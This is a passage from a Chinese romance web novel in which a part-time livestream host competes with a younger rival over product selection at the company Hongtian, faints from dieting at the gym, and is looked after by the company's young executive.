今日的讲座主题是直播间的违禁词,宏天品牌影响力一流,也是舆论的焦点,稍有个风吹草动就会引起大众的关注和讨论。宏天高层针对这些问题专门开过很多次讨论会,如何制造正确的舆论方向。
文令仪在之前的培训机构对这个问题了解得不多,这次有机会学习,她听得很认真。奈何腰不给力,一个姿势坐久了,不得不换个姿势。一小时的讲座下来,她不停变换动作,自己都没发现像条水蛇在扭动,别提多滑稽了。
培训结束后。郭主任对她道:“小文,直播在即,我们要准备选品,你跟我们一起去
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吧,主播参与选品会对商品及整个流程更清晰,对你的直播有帮助。”
并不是所有主播自己会深度参与选品,但通常来说,凡是有责任心的主播都会亲自参与货品的海选、资质审核、比价等环节。这个过程很重要,文令仪自然不想错过。
她刚想答应,曾行这时道:“换个人去吧,她腰不舒服。回头将详细的资料发给她。”说完他和秘书袁匆匆出了会议室。
腰不舒服?
总裁大大怎么知道的?
郭主任匪夷所思,一秒后茅塞顿开,特别是看到文令仪的面颊染上酡红,眼神羞赧,更加确定了心里的猜测。
难道是这两人昨夜做了什么激烈的床上运动?
他努力憋住那颗炙热的八卦心,故作不经意道:“昨晚小文和主任在一起?”
文令仪本不想承认,但曾行这个大嘴巴都招了知道她腰疼了,她没法撒谎。
“嗯,是。”
好家伙,今天是他人生中最有意义的一天!他竟然知道了总裁的地下恋情!曾行来公司三年,除了和客户,从未听说他和哪个女人走的近。
他们几个就老板的性取向还开过秘密赌局。这属于战略级八卦——万一老板好男风,他们连夜制定PlanB:集体减肥、组团整容,争取用肉身入股,实现职场腾飞。他曾经有段时间还天天摸着自己的单眼皮念叨“双眼皮是男人的第二事业线”。
郭主任的眼神顿时变得玩味起来,笑得意味深长竖起了大拇指:“好好干。”
文令仪的注意力光在腰上了,完全没懂平时看起来憨厚的副主任怎么突然笑得很扭曲。
“谢谢主任了。”自从来宏天,他确实一直对自己很和气,也通情达理,文令仪又道:“您还特地照顾帮我避开了另一份工作的时间,我很感激。”
“嗯?这事我不知道啊,时间都是主任安排的。”
文令仪愣住了。
所以是他特意为她调整的?他什么时候知道她在哪上班的?难道他看过她的简历?——可她明明改过工作经历!
她忽然脸上发烫。
所以他一直知道她撒谎了?……甚至还知道她的真实年龄?!
“你们主任应该不会亲自看简历吧?”
“看啊。”
文令仪完全没料到像曾行这样看起来漫不经心的人,竟然会认真去翻看简历!她之前还猜测背调的事他会丢给下属去做呢,他就当个甩手掌柜过他的富贵生活就好。
不小心暴露了年龄,想睡他是不是更没希望了?
“郭主任…问您个问题。”
“嗯?”
“总主任芳龄多少啊?”
郭主任要被她逗笑了,芳龄多少?在她眼里他们威武霸气的总裁是小姑娘吗?
“今年29。”
文令仪眼前一黑,比她小了整整五岁。
20. 抢功
文令仪的脸瞬间黑线,直直盯着一个点不动,郭主任的手在她眼前晃了晃她也没有反应。
怎么了?这姑娘听到总裁的年龄跟丢了魂似的,不会是嫌他太老了吧…
“咳,我们总主任年纪是不小了,但他老当益壮,宝刀不老,小文你亲身体验过,无需我多言你自然懂哈。”
文令仪其实根本没留意他说了些什么,道了声“再见”懵懵地出了会议室。
郭主任四个指头放嘴里担忧看着她的背影:“总裁啊,老奴只能帮你帮到这儿啦。”
帅、有钱、聪明、还年纪小,文令仪简直觉得
太赚了!
梦幻得不像真的。
就算是做个炮友也值了!但男人嘛大都喜欢年纪轻的小姑娘,人还没钓到呢他就知道了她的真实年龄,情势对她很不友好。
她心里闷闷的往停车的位置走,看到喻妍刚从车上下来。她瞥了眼那台车,是一辆宝石红的保时捷。
有些人天生的气场就不合,一见面就会无形之中产生一股火药味。碰巧她和喻妍就是这种。
看到她就想起自己可怜的腰,文令仪不想理她,当做没有看见。
喻妍溜了眼她扶着的腰:“今天走这么早,赶着去治腰?”
文令仪反唇相讥:“你今天请假了,也是去看腰子了?”
轻蔑一笑,喻妍道:“我可不像你,我年纪小,做一晚上仰卧起都没事。”
“…”这人怎么还开始人生攻击了?文令仪懒得再和她夹缠,扭头就走。
但走出几步后觉得不对。喻妍没有来参加培训,却选择在这个时间点来,应该是有其它的目的。
她的目的是什么呢?
想了一会,她懂了:喻妍应是知道她没有参与选品,所以特地改变了主意来抢功的。
选品是直播的重要环节,如果是自己选的,卖的好,说明主播有市场眼光,公司也会给予更多的信赖。
这个喻妍,茶,真茶!
顾不得腰疼,文令仪马上又返回去,在即将关电梯门时,她一手撑一边扒开了门。
喻妍看见她的脸突然出现在门缝,吓了一大跳:“你你…怎么又回来了?”
嘿嘿,想不到吧?怎么能让你一人吃独食?
文令仪走进电梯,撩了撩披在肩上的发:“为了证明我腰好。”
“…”
曾行在仓库里看着市场部的人选货品,一名专员将挑选的衣服给他看,要么就款式中规中矩,要么就颜色土气,不禁皱了皱眉。
“在各品牌送来的衣服里再找找,这些里没有一件好看的。”
见他面色冷肃,市场部的人全都毛骨悚然。
郭主任赔笑道:“是,是,总主任,我们马上去找。”
专员们又挑了一批货后,曾行看到门突然开了,喻妍出现在门口,旁边还有单手扶着门框直不起身的文令仪。
不是叫她好好休息吗?又回来做什么。
他冷声道:“你怎么回来了?”
喻妍以为他是不喜文令仪,抢声道:“是嘛,令仪姐腰受伤了,我也叫她多休息,这里的事我帮她做就行。”
文令仪干脆将扶着门框的手换成了手心撑头,左腿搭在右腿上斜倚门边挑了挑眉:“我选衣服很拿手,要是没了我,你们很亏哟。”
曾行在她和喻妍之间来回打量,明白了这两人不知什么原因在互相较劲,文令仪不想被她比下去才刻意卖力示好。
他觉得挺有意思,没想到文老师平日看起来柔和端稳,也会不甘落后暗暗比较。
倒有股倔劲。
郭主任也看出点苗头这两个女人气氛不对,他瞄了瞄曾行的脸色,又联想到他们之间的关系,迅速决定站到文令仪这一边。
“小文是及时雨啊,我们正缺帮手,快进来吧。”
“得嘞,来了。”说完她溜了眼喻妍难看的脸色,本想昂首挺胸扬眉吐气从她身边过,但碍于几近残废的腰,模样像只笨拙的虾,弓着背,一挪一蹭地挪了过去。
本来站成一排的工作人员像幕帘拉开一样迅速向两边退让,墙边的架上挂了好几行衣服,文令仪一头扎了进去,仔细在货架上挑选。
选货品需要一段时间,郭主任担心累着曾行,也有讨好的意思,从外面搬了椅子到仓库。
“总主任坐吧,还要一会呢。”
“不用了,你坐吧。”
“那怎么好意思?还是您坐吧。”
“不必客气,毕竟我年轻。”
“…”郭主任噎了噎:“对对,您说得对,主任年轻,英姿勃发,哪用得着坐椅子。”他将椅子拿开,陪曾行一起站着。
曾行的注意力都在文令仪身上,没有看到郭主任的一系列小心思。
她专注盯着衣服,认真思考时喜欢蹙起眉头,轻咬下唇,忽地又想到了什么,眉眼染上笑意,眼睛变得弯弯的。有时大概是又拉扯到腰部肌肉了,她的小脸皱成一团,鼻头上褶皱起细细的纹路。
郭主任早看到他的眼神一直追随着文令仪,笑着问道:“等下评比货品,主任觉得谁会更胜一筹?”
“你觉得呢?”
“说实在的,不好说。喻妍是经验丰富的服装主播,她以往的衣服风格时尚、前卫,很受年轻人喜欢。小文平日的着装简洁、精致,品位不俗,两人各有千秋。”
“你判断得对。不过,谁最后获胜可不是我们说了算,是市场。”
默了一瞬,郭主任点点头。
文令仪和喻妍将整间仓库看了个遍,最终将选中的衣服陈列出来。
郭主任摸摸头:“女人的衣服我不了解,还是请市场部的其他同仁品鉴,大家一定要慎重,最后我们会将货品投入到市场。”
曾行点头表示赞同。文令仪和喻妍退到一边便于市场部的其他领导和专员进行审核。
文令仪看他们煞有介事,面色肃然,不免心悬起来。架子上她和喻妍选出的衣服分为两列,各占一边,一眼望过去风格迥异——喻妍选的衣服风格大胆、色彩鲜明,而她的素净端庄,偏职业化。
至于市场部的人会偏好哪种,她也没底。
难熬的等待时间过去了,大家开始给衣服投票,但她们面露犹豫,迟迟没人说话。
这时一个留着刘海化浓妆的女生突然道:“我选妍妍的衣服,她的衣服都走在时尚的前沿,看dy的也是年轻人居多,我平常也喜欢在她的直播间买衣服。令姐的嘛…说实话不符合主流,显得老气了。”
她说完后,另一个站在靠边的女生也小声道:“对,我也觉得妍妍的更好。”
在众人摇摆不定时,她们二人的话很有带动作用,又出现几人认可喻妍的选品。
“老气”二字如针扎在文令仪心上,她紧抿着唇站着,垂在身侧的手蜷曲握紧。
又有几声细小的嘀咕传来:“我觉得令姐的也不错,很有质感,精致大方。”
“是啊是啊,我平时上班不知要穿什么,但看到她的搭配顿时眼前一亮,下次我也要这样穿。”
众人似乎偏向了喻妍,但是最后抉择的人是曾行,郭主任脸色有些不好地看向他,示意他拿个主意。
喻妍觉得自己这把十拿九稳,脸上是遮不住的得意。她目光炯炯也望向曾行,期望他能站在自己这边。
曾行平日里眉眼总是透着无所谓的云淡风轻,但工作时却很认真,寡言少语。
他拢起眉头似是在认真思索,半晌后道:“两位主播的选品都极具个人特色,但是市场是多元的,无论哪种都不能单一地代表市场。建议两位在已有的风格、款式、颜色的基础上再挑选一些别的种类。”
文令仪听得一头雾水,这是什么意思?既没有肯定喻妍,也没有否定自己,还顺道提出了她们选品的不足。他一碗水端得真平!
额…好牛的平衡之术…
郭主任鼓起掌来:“主任说得太对了,都听见没,再多增加种类改进改进。”
他跟着曾行出了货仓,笑容满面:“曾总,我其实更喜欢小文的选品,多简洁耐看啊,而且材质又好。现在的年轻人怎么这么没眼光,都选到另一头去了。”
曾行睨了他一眼,知道他什么意思,只是不清楚这个郭耀华怎么这么快墙头就倒向了文令仪。
“喻妍在服装市场经营多年,她的眼光不会有错,但我刚刚的建议确实在弥补她们欠思考的地方。”
“是是,曾总说的对。”
“不过有一点我要提醒你,自己的一亩三分地要管牢,拉帮结派后患无穷。别到时火烧到你身上才反应过来。”
郭主任想到刚刚冒头替喻妍说话的人,她们眉来眼去的,显然是事先通好了气。
“她什么时候与我们部门的人这么熟络
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了?”
“这要问你自己。”
“…”
库房里那个刘海姑娘恭喜喻妍:“恭喜啊妍妍姐,我就知道你会获胜。”
虽然曾行没有明确表态,喻妍依然认为自己更胜一筹,赢了这局。她得意地乜了文令仪一眼,高声道:“那当然,我做这么多年服装直播不是白费的,不像有的人,自不量力,没有自知之明。”
“有了妍妍在,我们直播间不愁没流量。”
“放心,包在我身上。直播的第一天,服装类观看人数铁定是我们第一。”
文令仪当做没有听到她们的话,专意帮着一起收拾衣服。喻妍带着几个和她要好的同事先走一步去吃饭。
等她们出去后,有一个同事小声安慰文令仪:“令姐,她们的话你别放心上,我觉得你选的衣服很好,许多上班族都喜欢这样的。”
文令仪抱以微笑:“嗯,没事,挑衣服的眼光本就是件很主观的事情,看法不同也是正常。”
她将衣服挂回原位,又将一些新衣用原装的塑料袋包好,等忙完时间已快7点钟。
这个点有许多加班的人刚结束工作,她等了一会电梯看到每趟的人都挤满了,只好选择从楼梯走。
下到第三层,她听到楼梯间有人在打电话,而且声音很熟悉,是曾行。她站在楼梯听了会,他好像是在和家里人通话,说了几句他过得还不错,接着又开始解释公司的事。但不知为什么,他显得很烦躁,语气不耐,脸色也很冰冷。
她杵在那不知该不该让他发现自己,但是她并没有听到什么私密的话,没必要躲着吧。
曾行挂上电话抬头看到她站在楼梯间昏暗的光里,那双眼睛却亮晶晶的,无辜又无措。
他又换上了戏谑笑意:“喜欢偷听别人隐私?”
“…”文令仪无语了,她不过站在这里不到一分钟,偷听到什么了啊。
“拜托,我是恰巧路过,又不是专门守在这里的。再说,我也对你的隐私没兴趣。”
“奥。”
文令仪这会看到他倒是想起另外一件让她窘迫的事。
“你…知道我在学校上班?”
曾行怔了一瞬,然后道:“嗯。”
“你如何知道的?”
“碰巧认识你的领导,偶然听她提起过。”
文令仪愈发不自在了:“啊?哪位领导?”
“不便说。”
“…”
“这属于我的隐私。”
“…”她真要气笑了,有种被他捏住了小辫子却无法反抗的挫败感。看来他明确知道自己并没有直播经验了,也一早就知道了她的年龄,说不定还掌握了更多有关她的信息,但到底到了什么程度她却不清楚。
也就是说,她在他面前是个透明人,但对他到底怎么想,她一无所知。
“你不怪我在简历里没写明?”
“你只是兼职,有什么必要多管?”
原来如此,他是这么想的,倒是比她想的要开明。她还想问问介意炮友的年龄吗?但又觉得这话实在古怪,没问出口。
曾行似乎很忙,没聊几句他就说自己要有事先回办公室。文令仪原本以为他在宏天是做份闲职,但现在看来好像还挺忙。
她去了车库,远远从后面看到喻妍的保时捷就停在她车的前面。
真是冤家路窄,没想到正好碰上她吃完饭来拿车。文令仪本想等她开走了再过去,转念又觉得怕她做什么,自己也很累了,腰都快撑不住了,得赶紧回车上坐着。
喻妍的车门开着,她过去就听到她在大声说电话。
“那个叫文什么的老女人,一把年纪了还妄想和我争,她的身材、长相还有业务能力哪点能比过我?宏天的明星主播只能是我。”
“对啊,就是嘛,自讨没趣。而且我和你说,我们那个主管可帅了,我敢说明星都没他帅!宏天的高层少说年薪也有个百把万,那个文什么的一天到晚在他面前讨好献媚,别提多恶心了。”
她听了一会,喻妍的嘴里没有关于她的一句好话,全是蔑视和贬低,话也挺脏。她真想不到,虽然她们不合,但她竟这样厌恶和看不起她。
这时又有句话让她神经紧绷起来。
喻妍止不住地喜悦和兴奋道:“欸?我有电话进来了,是我们那个帅气主管的。我不和你说了啊,我先接他的电话。”
21. 黄瓜汁
喻妍火急火燎挂断朋友的电话,指尖在屏幕上快速划动,迅速接起了曾行的来电。
甜美娇软的声音传来:“总主任,您好,请问找我有什么事呢?”
“好的,我有时间哒,到时见奥~”
不想再听下去,文令仪快速上车关了车门将声音阻隔在外面,耳不听为静。
她动作不小,震得车台上的财神爷娃娃的脑袋左右晃动,车内一片寂静,她盯着装饰品发了会呆。
文令仪,你好失败奥,连炮友都看不上你,被个年轻的小姑娘抢走了。
曾行买的膏药很有效,贴了两日她的腰痛大有好转。正式直播在即,她急于再瘦一圈,没课的时间都泡在了健身房。
一日,她换好了健身服,刚走到器械区就看到了喻妍正和曾行说话,她靠着一台器械,不知在讲什么讲得眉飞色舞,高兴处不时捂嘴笑几声,曾行正在踩单车,脸上挂着微笑。远远看去这两人气氛暧昧融洽,俨然一对小情侣的样子。
她在闹,他在笑,看起来天设地造很般配。
文令仪当做没看到,转身想走,却听到喻妍叫她。
“令仪姐,你也来了啊。”
“…”
立住,转身,文令仪挤出一个微笑:“是啊,真巧,又碰面了。”
曾行看到她轻点下头,然后移开了眼神。
“我和总主任已经来了很久了,他帮我指点了几个动作,很有效果奥,你要不要一起?”
“不了,谢谢。”
喻妍炫耀的意思很明显,她一条单身狗为什么要被迫吃狗粮,没事找虐吗?
她果断拒绝,往另一个方向走,找了个看不到他们的地方开始练手臂、练腰、练大腿。喻妍娇嫩掐得出水的脸蛋还有曼妙的身材,在她头顶形成了一个个的气泡连续播放画面。
噼啪,气泡刺破消失,她呵出一口气,吹得嘴皮嘚啵嘚啵的响。
年纪小很巧吗?中女一样能脸蛋漂亮、身材棒,还有一种成熟的魅力。
她下了猛力锻炼,暂且忘了乱七八糟的情绪。一名帅气的教练见她没人指导,过来帮她调整姿势。
踩了小会单车,曾行总感觉哪里不得劲,喻妍的声音还在耳边聒噪,吵得他更加烦躁。
“总主任,您身材练得真棒,是不是经常来健身啊?”
“等下锻炼完,一起去哪里坐坐,喝点东西吗?我知道附近有一家咖啡店很不错奥。”
曾行语气冰冷:“我什么时候来了很久了,不是刚来?”
愣了愣,喻妍惶恐道:“不好意思,我刚刚可能说得比较着急,没有注意用词。若给您造成了什么不便,我道歉。”说完她垂下眼眸掩住委屈的情绪,长长的睫毛轻颤,十分楚楚可怜的样子。
曾行没答话,提起水壶还有毛巾换到了上位下拉器。喻妍不知自己随口一说的话怎么惹到他了,她感觉到他心情不太好,不敢再靠近,怕惹得他更不快。
做了一组动作,曾行仍散不去一股郁结之气,干脆起身去找文令仪。他抬头张望,看到她又在练腹部,还是最难的那种,仰卧举腿。
他不禁觉得好笑,这女人魔怔了吗,非要和腰腹杠上,明明腰部的伤刚刚好转。
走到离她近点的位置,他抱臂站着,文令仪这时不知已经做了多少个仰卧举腿了,额头冒出了汗,核心跟不上力,不得不靠教练帮忙扶住腿抬起来。他很热情,动作体贴,小心翼翼护着杠铃杆怕压伤她。
他盯着这一幕,突然觉得做健身教练真可以占不少便宜,有这么多隐性福利,随随便便就能碰姑娘的身体。
做完了三组,文令仪觉得自己的体能到了极限,摆了摆手道:“不行了,我腰刚好,需要休息了。”
教练知趣地道:“好,运动要循序渐进,慢慢来,你先休息吧。”
“嗯。”
她流了很多汗想要喝水,站起来刚走两步忽然一阵眩晕袭来,眼前的世界开始天旋地转,下一秒她腿发软整个人向前倾倒。
就在要闭眼的一瞬间,她模模糊糊看到一个人影往这边奔过来,但是眼前变黑,还没有完全看清楚她就晕了过去。
不知躺了多久,她朦胧中醒来,看到周围围了不少人,有教练,有来锻炼的陌生人,而正中是曾行那张大脸,奥不,那张俊脸,正寒气森森瞪着她。
“醒来了?”他特意拖长了调,听上去在笑话她。
文令仪试着坐了起来,发现头晕减轻了,只是有些脱力。
“嗯,我睡了多久?”
教练看她醒了松口气:“没多久,你是不是低血糖了?”
想起自己连着几日没怎么吃饭,她有些窘,轻轻点头。
教练:“难怪会晕,每次锻炼前还是得补充糖分,不然容易昏倒。”
“嗯…”
“拿着,吃掉它。”
她扶着额头,看到曾行递过来一块撕开口的巧克力,接过来放到了嘴里。
喻妍看到她晕倒也赶了过来:“令仪姐,你没事吧?”
文令仪摇摇头。
“吓死我了,还好没事,我还以为你怎么了,正要打120呢。”
“…大可不必。”
“开始不知道呀,还以为你突发什么绝症了。”
“…”
曾行瞟了眼喻妍:“她只是低血糖了,需要休息,我带她去休息室吧。”
不甘心地看他们孤男寡女单独待着去了,喻妍心里嫉妒得像有火在烧。但是文令仪身体不舒服,她也提不出什么反对意见,只得由着他们去。
文令仪脚步发虚,走不稳当,听见曾行道:“你可以扶着我。”
犹疑一下,她还是把手伸过去抓着他的手腕,顿时整个人得到支撑,莫名有了安全感。
曾行推开门扶她坐在躺椅上。
“喝点水吗?”
“嗯。”
她仰头看着曾行去拿自己的水壶。昏厥前的记忆浮上来,她记得晕倒前是他冲过来扶住了自己,但之后的事情记不清了。
“我晕倒时,你过来扶了我?”
曾行将水壶给她:“嗯,恰好路过,撞见了你不省人事。”
“…”这人的嘴要不要这么毒啊,看她不舒服就不能柔软点吗…
“那我怎么去的沙发?”
“你自己走过去的。”
“?”
“不然?你是晕了,但还残留点意识,可以自己走。”
“…”文令仪从没听过这么不可思议的回答,晕过去了自己还能走?算了,他一向就是这样,懒得费口舌解释,可能也怕她误会,产生什么说不清的牵扯。管自己怎么去的呢,反正不是被人扔过去的就行。
“你是不是为了减肥不吃东西?”
额..被他说中了。她一惊,吞吐道:“也没有不吃啦,吃得很少。”
曾行的目光沉了沉:“我是不是需要去买份保险?”
“什么保险?”
“万一你减肥过度,直播时噶了,公司赔不起。”
“…”原来惦记的点在这里呢,怕她出了事自己背锅无法和公司交代,所以要买保险上层保护锁。
“你买呗,你买你的,我减我的。要是出事了,保险兜底。”
曾行冷笑一声:“随你。”
嗯?他刚才是冷笑了吗?我没听错吧…
文令仪眨巴了下眼睛,含着吸管喝水,怀疑自己是不是幻听了。
他冷笑干嘛?是他自己说要买保险,她觉得这个主意很
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可以啊。
“你现在舒服了吗?”
“嗯,好多了,头不晕了。”
“那你再坐会,我先去洗澡。”
“好。”
曾行离开后,她又坐了一会,起身去浴室。洗完后她站在镜前擦护肤品,看到自己的身形好像又比之前瘦了一些,顿时开心起来,这段时间因为减肥吃的苦总算是值了。
她美美敷了个面膜,边吹干头发,才不紧不慢出了更衣室。
教练看她一个人准备走,问道:“你男朋友呢?”
“?我男朋友?我哪来的男朋友?”
“刚刚你晕倒时,过来抱住你的那个不是吗?”
“你是说…他抱了我?”
“是啊,还是公主抱呢,搂得挺紧。”
“…”文令仪呆住了,也就是说,曾行不仅亲密地抱着她,还一路关怀到了休息室?
难怪他不愿意说,这些动作有点子亲密欸。他是不是终于对她改观,当她是个正常女人,产生了兴趣,而不是那个喝醉了酒吐脏他衣服的奇怪人了?
嗯,有这个可能。
她雀跃着去坐电梯,当头就看到了曾行,他也望过来,两人视线相交。
文令仪笑道:“你不是早就去洗澡了,怎么才走?”
曾行没回她这句话,而是问道:“你能走得动吗?”
“当然,我又没瘸。”
这时电梯来了,两人走进去和其他人一样安静站着。到了一层,文令仪和他说了声“谢谢今天啦,拜拜”,但刚迈出步子,就被身后的人拎住了她后脑勺那束圆圆的丸子头。
“?干嘛…”
“你不是老人,上街摔了没人扶。”
“...所以呢?”
“我送你。”
“啊?”
“啊什么,站好。”曾行说着rua了rua她柔软的发团,轻拉一下让她靠向了自己。
嗯,手感不错。
文令仪锻炼得筋疲力尽又洗了个热水澡,上车后一沾上椅背就睡着了。曾行打开空调,放慢了车速,将车停靠在了一家店铺门前。
她还没醒来,巴掌大的小脸对着他这边仰着,昏暗的车内寂静,还可以听到她均匀的呼吸声。曾行不忍叫醒她,趁她睡着细细端详她的面孔,手指顺着她眉毛的弧度轻轻划动。
感到了痒意,文令仪眼皮微微颤动,那细长的睫毛也跟着轻轻抖动,像栖息在花间的蝶翼被晨风拂过。只这么几下,曾行便觉得自己的心也跟着猛跳起来,撞得胸腔阵阵发麻。
文令仪是突然惊醒的,她酥眼微睁,映入眼帘的是夜晚热闹的灯火,侧头看到曾行将椅放倒躺了下来。
看到她醒了,曾行轻撩眼皮:“睡醒了?”
“嗯。我…没睡很久吧?”
“没有,也就1小时吧。”
“…”
“那我赶紧回家,耽误你时间了。”
“不急,先吃点东西。”
“吃什么?”顺着他手指的方向,她看到了一家轻食店,正是她常去的那家。
“你也喜欢吃这家?”
曾行点头,不置可否。文令仪跟在后面看着他高大的背影心里嘀咕,他特意带她来吃东西是担心她饿?他好像真变得关心她了。
她点好东西后,看到曾行也点了和她一样的黄瓜汁,惊喜道:“我身边的人都说这款难喝,看,还是有人和我一样很喜欢吧?说明我品位没问题。”
“你错了,我不喜欢喝才点的。”
“?”
“难喝的东西让人没胃口,能减少摄入量。”
“…”
曾行对她说话嘴毒得可以一招毙命,文令仪估计自己是脑袋撞傻了才觉得他对她改观了。